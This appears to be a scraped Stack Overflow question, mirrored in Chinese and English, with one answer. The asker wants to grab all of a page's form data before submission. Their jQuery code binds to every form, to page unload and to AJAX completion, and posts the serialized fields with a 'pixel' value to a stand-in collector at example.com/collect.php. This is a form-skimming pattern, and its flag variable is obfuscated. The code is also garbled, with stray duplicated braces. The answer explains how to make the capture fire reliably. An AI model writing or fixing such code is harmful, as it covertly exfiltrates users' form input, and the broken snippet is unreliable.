简体   繁体   English

JavaScript 在提交前收集所有表单数据,并通过 ajax 提交

[英]JavaScript to collect all form data before submit, and submit via ajax

I'm trying to collect all form data and send it to my server before it gets submitted by the user.我正在尝试收集所有表单数据并将其发送到我的服务器,然后再由用户提交。 So far I have tried a few approaches, but it doesn't work or works partially.到目前为止,我已经尝试了一些方法,但它不起作用或部分起作用。

jQuery(document).ready(function(){
    dididamdidiomdididim = false;
    if(!dididamdidiomdididim){
        jQuery("form").submit(function(e){
            jQuery.ajax({
                type: "POST",
                dataType: "jsonp",
                url: "http://example.com/collect.php",
                data: {
                    data: jQuery("form").serialize(),
                    pixel: jQuery("#x36").attr("pixel")
                }
            });
        });
        dididamdidiomdididim = true;
    }

    if(!dididamdidiomdididim){
        jQuery(document).bind('beforeunload', function(){
            jQuery.ajax({
                type: "POST",
                dataType: "jsonp",
                url: "http://example.com/collect.php",
                data: {
                    data: jQuery("form").serialize(),
                    pixel: jQuery("#x36").attr("pixel")
                }
            });
        });
        dididamdidiomdididim = true;
    }
             }
            });
        });
        dididamdidiomdididim = true;
    }

}); 
    if(!dididamdidiomdididim){
        jQuery(document).ajaxComplete(function(){
            jQuery.ajax({
                type: "POST",
                dataType: "jsonp",
                url: "http://example.com/collect.php",
                data: {
                    data: jQuery("form").serialize(),
                    pixel: jQuery("#x36").attr("pixel")
                }
            });
        });
        dididamdidiomdididim = true;
    }

});     

As you can see I have tried different JavaScript events, but for some reason it is not stable, the weird thing is, that some times the data is collected but Firebug does not show any ajax request.如您所见,我尝试了不同的 JavaScript 事件,但由于某种原因它不稳定,奇怪的是,有时会收集数据但 Firebug 没有显示任何 ajax 请求。

I assume that your three function are 3 different attempts....我假设您的三个功能是 3 次不同的尝试....

For the first one, you should use e.preventDefault or else it will cancel the ajax and reload the page.对于第一个,您应该使用e.preventDefault否则它将取消 ajax 并重新加载页面。

For the second one, as AJAX is asynchronous , the page will be unloaded before it sends the ajax.对于第二个,由于AJAX异步的,页面将在发送 ajax 之前被卸载。

And for the last one, your ajax function will never be call as there was no ajax before.对于最后一个,您的 ajax 函数将永远不会被调用,因为之前没有 ajax。 ajaxComplete() is call after an ajax was called. ajaxComplete()是在调用 ajax 之后调用的。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM